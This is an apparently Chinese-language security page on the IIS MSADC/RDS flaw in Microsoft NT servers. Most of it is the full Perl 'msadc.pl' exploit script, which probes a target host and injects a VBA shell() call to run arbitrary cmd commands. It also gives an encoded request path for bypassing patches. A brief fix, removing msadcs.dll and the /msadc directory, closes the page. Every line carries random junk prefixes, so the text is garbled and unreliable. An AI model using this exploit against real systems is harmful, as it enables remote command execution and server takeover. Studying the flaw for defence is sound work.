IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~m~<xtoc \( 9hg.E 涉及程序：
%X(iAoxbj Microsoft NT server
c#eV!fl>& 0 rbMT`Hy 描述：
%<@."uWF* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
2CX'J8Sy w4YuijhW 详细：
9Xw(|22 如果你没有时间读详细内容的话，就删除:
"F/% {0d c:\Program Files\Common Files\System\Msadc\msadcs.dll
7~@q #]U[ 有关的安全问题就没有了。
w}= "}Cb ;0lHi4 c0 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
mfHZGk[[ 3DH}
YAUU 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Q[t|+RNKv2 关于利用ODBC远程漏洞的描述，请参看:
Bny3j~*U ZTV|rzE http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,k}-I65M*t {[V<mT2/ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
/]~Oa#SQ: http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0zD[mt RY=B>398: 这里不再论述。
G]Fp}, ?1\ rf$l8 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
&6-udZB- @ i $jyc /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;eYm+e^?. 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
29R_?HBH V gLnpPOQ 92|\`\LP% #将下面这段保存为txt文件，然后: "perl -x 文件名"
m22FOjk\ FsI51@V72Q #!perl
Q kJAjm B #
f i*@m,- # MSADC/RDS 'usage' (aka exploit) script
$@ t ]0 #
37 Z@a!# # by rain.forest.puppy
zS]8ma #
"8{#R*p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z;? 3 2K # beta test and find errors!
{DzOXTI[Y BeAkG_uG use Socket; use Getopt::Std;
y7ng/vqM7 getopts("e:vd:h:XR", \%args);
$)w9EGZ `9IG// print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
N?]HWP^pg 4[=vt if (!defined $args{h} && !defined $args{R}) {
~gz_4gzb print qq~
0[(TrIpXl Usage: msadc.pl -h <host> { -d <delay> -X -v }
!g=2U` j^ -h <host> = host you want to scan (ip or domain)
I<p- o/TP -d <seconds> = delay between calls, default 1 second
Z(F`M;1>xI -X = dump Index Server path table, if available
JHN{vB -v = verbose
XcfvmlBoD- -e = external dictionary file for step 5
8G&'ED_& 7[= MgnmuC Or a -R will resume a command session
jQ DXl .xnJT2uu' ~; exit;}
]3B8D< p L\1&$ |? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
u-yVc*<, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R(jp if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
b^WTX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
hfUN~89; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/DxaKZ ;b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
s,&tD
WU s Fh mp if (!defined $args{R}){ $ret = &has_msadc;
.UJp#/EHs die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
8| FHr, 8t4o}3> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rVo0H.+N)` . "cmd /c ";
=1qM`M $in=<STDIN>; chomp $in;
2$G,pT1J $command="cmd /c " . $in ;
@3T)J,f NGsG4y^g?z if (defined $args{R}) {&load; exit;}
;Mzy>*#$Q tGq0f"}'J print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
W!@*3U]2R &try_btcustmr;
h+,Eu7\88 %kB84dE print "\nStep 2: Trying to make our own DSN...";
}@R*U0*E &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
. d}7c! jIpc^iu`, print "\nStep 3: Trying known DSNs...";
ei T G &known_dsn;
$^[^ ]Q J0{;" print "\nStep 4: Trying known .mdbs...";
b/>L}/^PM &known_mdb;
J['pBlEb\ F#<$yUf% if (defined $args{e}){
14U:.Q print "\nStep 5: Trying dictionary of DSN names...";
P*9vs %W &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Jat|n97$ /*v} .fH% print "Sorry Charley...maybe next time?\n";
" ,9QqgY+ exit;
M`1pze_A t@hE}R ##############################################################################
<$ H-/~Y X,+M? sub sendraw { # ripped and modded from whisker
G)|s(C! sleep($delay); # it's a DoS on the server! At least on mine...
?< 3wks|C my ($pstr)=@_;
) ?L socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H Pvs~`>V die("Socket problems\n");
y+R *<5qC< if(connect(S,pack "SnA4x8",2,80,$target)){
jv<C#0E^ select(S); $|=1;
"9>.,nzt print $pstr; my @in=<S>;
)21yD1"6 select(STDOUT); close(S);
'
];| return @in;
5Vq&w`sW } else { die("Can't connect...\n"); }}
vz{Z
tE" m :M=De ##############################################################################
-OvzEmI" w-2?|XvDmf sub make_header { # make the HTTP request
.(2Z o a my $msadc=<<EOT
VMa \?`fT POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
iL vz oQ User-Agent: ACTIVEDATA
(fSpY\JPI Host: $ip
-UTTJnu^ Content-Length: $clen
8 6_`Z$ s Connection: Keep-Alive
C71\9K*X yu^n;gWH ADCClientVersion:01.06
"2J$~2{ N Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Hi V7 -chk\75 --!ADM!ROX!YOUR!WORLD!
3G r:.V9= Content-Type: application/x-varg
*=b# >// Content-Length: $reqlen
%d%$jF` Ug2^cgL EOT
?G| *=-8 ; $msadc=~s/\n/\r\n/g;
v; =| - y return $msadc;}
ho J{C 0 @'D ,T^I ##############################################################################
-D?-ctFYj^ u)Nm jW sub make_req { # make the RDS request
:h (r2?=7 my ($switch, $p1, $p2)=@_;
=zetZJg my $req=""; my $t1, $t2, $query, $dsn;
0vi)m y;! =Su~i Oa if ($switch==1){ # this is the btcustmr.mdb query
0P?\eoB@8 $query="Select * from Customers where City=" . make_shell();
ggP#2I\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`fL81)!jI# $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
R=/^5DZ} =&9x}4`;% elsif ($switch==2){ # this is general make table query
!%8|R ]d $query="create table AZZ (B int, C varchar(10))";
+?&|p0 $dsn="$p1";}
8M5a& 35J" ,.Sd) JB' elsif ($switch==3){ # this is general exploit table query
:\Pk>a $query="select * from AZZ where C=" . make_shell();
8D)I~0\ $dsn="$p1";}
6 2YT)/i3 =W* Js %4 elsif ($switch==4){ # attempt to hork file info from index server
}\-"L/D?+ $query="select path from scope()";
w%Bo7 'o)V $dsn="Provider=MSIDXS;";}
8dBG ZwyET + f+#W elsif ($switch==5){ # bad query
<"}Gvi $query="select";
I z^lED $dsn="$p1";}
|^&j'k+A qh IO7 h $t1= make_unicode($query);
2A,iY}R $t2= make_unicode($dsn);
U"0Ts!CABA $req = "\x02\x00\x03\x00";
BS(XEmJn&j $req.= "\x08\x00" . pack ("S1", length($t1));
SniKC qmC] $req.= "\x00\x00" . $t1 ;
0Qa kFt $req.= "\x08\x00" . pack ("S1", length($t2));
=xf7lN' $req.= "\x00\x00" . $t2 ;
i !tF{'*%# $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~ "IjT'W3 return $req;}
3lW7auH4Y{ u djahI<{ ##############################################################################
[WAnII -\2T(3P sub make_shell { # this makes the shell() statement
r/ G6O return "'|shell(\"$command\")|'";}
qR X:e o KcW]"K>p! ##############################################################################
r6x"D3 Gs0x;91 sub make_unicode { # quick little function to convert to unicode
'IykIf my ($in)=@_; my $out;
q| EE
em for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/&T"w,D return $out;}
vz^w %67&
)ld !(d= ##############################################################################
(mvzGXNz4 /8s+eHn&% sub rdo_success { # checks for RDO return success (this is kludge)
3P&K<M#\ my (@in) = @_; my $base=content_start(@in);
8'n xc#& if($in[$base]=~/multipart\/mixed/){
Mu~DB:Y9e return 1 if( $in[$base+10]=~/^\x09\x00/ );}
PrZs@ Y return 0;}
5PCMxjon L FncY(b ##############################################################################
q |r/%[[!o ?)2&LVrf sub make_dsn { # this makes a DSN for us
D{Rk9MKkE my @drives=("c","d","e","f");
i#RT4}l"a print "\nMaking DSN: ";
mv0J D( foreach $drive (@drives) {
# $dk print "$drive: ";
MU-T>S4
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
X
/
{; "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LYV\|a{Y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A=+
|&+? t $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ry Kc7< return 0 if $2 eq "404"; # not found/doesn't exist
;`(l)X+7 if($2 eq "200") {
'T_Vm%\) foreach $line (@results) {
K9@F1ccQ/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]-7$wVQ< } return 0;}
^rP`
. Z |+|q`SwJ ##############################################################################
4|EV`t}E V eX1<zzd sub verify_exists {
Px$4.b[{_Y my ($page)=@_;
Vw P+tM my @results=sendraw("GET $page HTTP/1.0\n\n");
<,Z6=M` return $results[0];}
_rmTX.'w mh8{` W & ##############################################################################
VD).UdUn DNu^ 4#r sub try_btcustmr {
- wi zUp my @drives=("c","d","e","f");
}5I+VY7a my @dirs=("winnt","winnt35","winnt351","win","windows");
}qk8^W{ c[ n4{q1 foreach $dir (@dirs) {
7E}. P1 print "$dir -> "; # fun status so you can see progress
%`F &,!d foreach $drive (@drives) {
N-~Uu6zr print "$drive: "; # ditto
> 0kZ-M5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
q7!$- $reqlenlen=length( "$reqlen" );
pod=|(c $clen= 206 + $reqlenlen + $reqlen;
L]_1z 1lf 5xm. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
10C, \ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
vp#A D9h1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Fhr5)Z G5R"5d' ##############################################################################
=HGC<# ;YYo^9 Lh} sub odbc_error {
)uJu .foE my (@in)=@_; my $base;
nJ]oApb/- my $base = content_start(@in);
(
\ \ BsK if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
FU~xKNr $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&.ENcEic $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aSy^( WN8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wk'12r6=(- return $in[$base+4].$in[$base+5].$in[$base+6];}
M
y vyp print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;]/emw=a print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
GW[g!6 6^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/&` sB| f=f8) +5 ##############################################################################
pm.Zc'23
ioZ{ 2kK sub verbose {
.0 [
zZ my ($in)=@_;
x bsk return if !$verbose;
8^8fUN4<= print STDOUT "\n$in\n";}
2(<2Gnp l !pwY@} oL ##############################################################################
2c
Pd$j }\s\fNSQ / sub save {
E5H0Yo.W i my ($p1, $p2, $p3, $p4)=@_;
7
B< open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:7&-<ae2 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f7mN,_Lt close OUT;}
-F+
)N$CW fC \Cx;q- ##############################################################################
\N[Z58R !z N "+o=nS sub load {
tcm?qro) my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XlPi)3m4/S open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^^O @ [_ @p=<IN>; close(IN);
5Wyo!pRi $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
zHEH?xZ6sD $target= inet_aton($ip) || die("inet_aton problems");
"Q>gQKgL print "Resuming to $ip ...";
LxcC5/@\~( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
VD,p<u{r if($p[1]==1) {
PGE|){
< $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#2XX [d% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_~=qByD
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!(-lY(x if (rdo_success(@results)){print "Success!\n";}
h
!yu. v else { print "failed\n"; verbose(odbc_error(@results));}}
lh N2xg5x elsif ($p[1]==3){
{Y\W&Edw% if(run_query("$p[3]")){
H2p lT print "Success!\n";} else { print "failed\n"; }}
d;<gwCc elsif ($p[1]==4){
gE_i#=bw if(run_query($drvst . "$p[3]")){
m#^ua^JV print "Success!\n"; } else { print "failed\n"; }}
</.9QV exit;}
g"F &~y/p +kMVl_` V ##############################################################################
) Ekd !P_8D*^9 sub create_table {
h.~:UR* my ($in)=@_;
TVVr<r $reqlen=length( make_req(2,$in,"") ) - 28;
^iH wv*ss $reqlenlen=length( "$reqlen" );
t,f)! D$ $clen= 206 + $reqlenlen + $reqlen;
'UW(0 P Xw my @results=sendraw(make_header() . make_req(2,$in,""));
q$<M 2 return 1 if rdo_success(@results);
\$iU#Z my $temp= odbc_error(@results); verbose($temp);
_~{Nco7T return 1 if $temp=~/Table 'AZZ' already exists/;
!ULU#2'1 return 0;}
.w.jT"uD! 6ojEEM ##############################################################################
E6=JL$" sv g`s,g sub known_dsn {
3>+9Rru # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
TN+iv8sT my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Q7~ 9~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
w,,QXJe{Z_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
N 9.$--X}D 1;U
`e4" foreach $dSn (@dsns) {
I|`/#BYbW print ".";
&{x%"Aq/ next if (!is_access("DSN=$dSn"));
T[z}^" if(create_table("DSN=$dSn")){
g?}$"=B print "$dSn successful\n";
"L(4 EcO@ if(run_query("DSN=$dSn")){
/F(wb_! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JFJ_
PphvD print "Something's borked. Use verbose next time\n";}}} print "\n";}
z`?{5v -Qs n )n>|w_ ##############################################################################
~"Kf+eFi D.i(Irqw! sub is_access {
BkH- d z my ($in)=@_;
&7}\mnhB $reqlen=length( make_req(5,$in,"") ) - 28;
G<5i %@ $reqlenlen=length( "$reqlen" );
|9 Gng`) $clen= 206 + $reqlenlen + $reqlen;
B5nzk JV<X my @results=sendraw(make_header() . make_req(5,$in,""));
qG=>eRR my $temp= odbc_error(@results);
cEP!DUo verbose($temp); return 1 if ($temp=~/Microsoft Access/);
c Im_~HH return 0;}
N`G*
h^YQ }%&hxhR^t3 ##############################################################################
{ hXIP` 4)cQU.(*k sub run_query {
tiTJ.uz6 my ($in)=@_;
zm& D #) $reqlen=length( make_req(3,$in,"") ) - 28;
<3 b|Sk:T $reqlenlen=length( "$reqlen" );
=&5^[:ksB $clen= 206 + $reqlenlen + $reqlen;
|qn`z- my @results=sendraw(make_header() . make_req(3,$in,""));
$RFy9(> return 1 if rdo_success(@results);
R>r @I_ my $temp= odbc_error(@results); verbose($temp);
5`!Bj0Uf return 0;}
^tw\F 7 o|tq&&! < ##############################################################################
qH GwD20 ~ Mdj?;'Yv sub known_mdb {
L7gZ4Hu=` my @drives=("c","d","e","f","g");
Rr9K1io$) my @dirs=("winnt","winnt35","winnt351","win","windows");
(.CEEWj%{ my $dir, $drive, $mdb;
MM+xm{4l my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gJ;
*?Uq( Ew&pw sQ # this is sparse, because I don't know of many
$,mljJSQv my @sysmdbs=( "\\catroot\\icatalog.mdb",
efc<lSUR "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
? )Psf/ "\\system32\\certmdb.mdb",
-w[j`}([P9 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
C\Y%FTS: h~!KNF*XW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
>nqDUGnEo> "\\cfusion\\cfapps\\forums\\forums_.mdb",
v>p UVM "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
&g P/<!# "\\cfusion\\cfapps\\security\\realm_.mdb",
*an^
0 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
L, (H(GeX "\\cfusion\\database\\cfexamples.mdb",
3U_-sMOB| "\\cfusion\\database\\cfsnippets.mdb",
,n}h_ct "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>q}Ns^ .' "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d4 Hpe> "\\cfusion\\brighttiger\\database\\cleam.mdb",
Wk0"U
V "\\cfusion\\database\\smpolicy.mdb",
rx$ B(z(c "\\cfusion\\database\cypress.mdb",
+b9gP\Hke "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/M0A9Z T[ "\\website\\cgi-win\\dbsample.mdb",
\!+#9sq0 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
![>j` i "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
$$,/F ); #these are just
~36)3W[4 foreach $drive (@drives) {
K;,_P5J% foreach $dir (@dirs){
P,QI-, foreach $mdb (@sysmdbs) {
y7x& /2 print ".";
tK|jh if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
pX\Y:hCug print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
*_qW;l7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1TOT}h5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3pV^O e^9 } else { print "Something's borked. Use verbose next time\n"; }}}}}
o_(@v2G` Q^B !^_M foreach $drive (@drives) {
&=KNKE` foreach $mdb (@mdbs) {
Hv>16W$_ print ".";
MeP,8,n' if(create_table($drv . $drive . $dir . $mdb)){
".Z1CBM( print "\n" . $drive . $dir . $mdb . " successful\n";
<kmH^ viX if(run_query($drv . $drive . $dir . $mdb)){
(= T%eJ61 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
ytWTJ>L } else { print "Something's borked. Use verbose next time\n"; }}}}
M6j!_0 j }
,?3)L
Oi?+Z:la k ##############################################################################
}[$ qn| $4*wK@xu sub hork_idx {
1+{V^) V? print "\nAttempting to dump Index Server tables...\n";
FC +}gJ(q print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
6] Vf`i $reqlen=length( make_req(4,"","") ) - 28;
&f;<[_QI= $reqlenlen=length( "$reqlen" );
RTL A* $clen= 206 + $reqlenlen + $reqlen;
>" z$p@7 my @results=sendraw2(make_header() . make_req(4,"",""));
: vsF4 if (rdo_success(@results)){
dYEsSFB m my $max=@results; my $c; my %d;
PQ#zF&gL9t for($c=19; $c<$max; $c++){
vi4l mkyh^ $results[$c]=~s/\x00//g;
-;i vB R $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
0bcbH9) 1q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
LdPA`oI3j $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5Nt40)E}sN $d{"$1$2"}="";}
7 V="/0a foreach $c (keys %d){ print "$c\n"; }
4U;Zs3 } else {print "Index server doesn't seem to be installed.\n"; }}
0+iaO"% ?k}"g$JFn ##############################################################################
8Hf:yG, ; PA^.RB sub dsn_dict {
q[wVC
h open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ri]"a?Rm while(<IN>){
ac2G;}B| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Rg3cqe#O/ next if (!is_access("DSN=$dSn"));
mF6 U{= if(create_table("DSN=$dSn")){
fx"~WeV cO print "$dSn successful\n";
BJL*Dih m[ if(run_query("DSN=$dSn")){
2qN|<S& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(L2:|1P) print "Something's borked. Use verbose next time\n";}}}
4e0 /Q!o, print "\n"; close(IN);}
IHrG!owf i'\7P-a ##############################################################################
]bui"-tlK fbjT"jSzw sub sendraw2 { # ripped and modded from whisker
av!'UZP sleep($delay); # it's a DoS on the server! At least on mine...
]9 ArT$ my ($pstr)=@_;
gQ0W>\xz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O 8\wH die("Socket problems\n");
)[Bl3+' if(connect(S,pack "SnA4x8",2,80,$target)){
m j!P
] print "Connected. Getting data";
9iwSE(}, open(OUT,">raw.out"); my @in;
_'.YC<; select(S); $|=1; print $pstr;
*oW^P~m/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
s (hJ * close(OUT); select(STDOUT); close(S); return @in;
CkHifmc(u- } else { die("Can't connect...\n"); }}
X`+8r O [ ^T.ic S xP ##############################################################################
8Q*477=I Y~fa=R{W sub content_start { # this will take in the server headers
n6 VX0R my (@in)=@_; my $c;
in[yrqFb7t for ($c=1;$c<500;$c++) {
x3QQ`w- if($in[$c] =~/^\x0d\x0a/){
bo]= * if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
"A>/m"c]* else { return $c+1; }}}
m0 a <~ return -1;} # it should never get here actually
Z2t
r? ] ]i@WZ( ##############################################################################
kzb%=EI rDEd MT sub funky {
Yqz
B=" my (@in)=@_; my $error=odbc_error(@in);
Pi !3wy if($error=~/ADO could not find the specified provider/){
FL /395 <: print "\nServer returned an ADO miscofiguration message\nAborting.\n";
m|%L[h1 exit;}
03$lg DQ if($error=~/A Handler is required/){
SBbPO5^]( print "\nServer has custom handler filters (they most likely are patched)\n";
RPh8n4&(" exit;}
p?#%G`dm if($error=~/specified Handler has denied Access/){
z^YL$ print "\nServer has custom handler filters (they most likely are patched)\n";
` ;R
[*7 exit;}}
IuW5LS 8#_"WzDw ##############################################################################
A
$GiO -:jC.}
Y sub has_msadc {
)2YZ [~3 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
)Z.M(P my $base=content_start(@results);
g:&V9 ~FR return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Cr;d
!= return 0;}
8A,="YIt t)62_nu ########################
l`'
lqnhv / iwL$xQQ -|/kg7IO\ 解决方案：
A:JW Ux 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
% njcWVP; 2、移除web 目录: /msadc
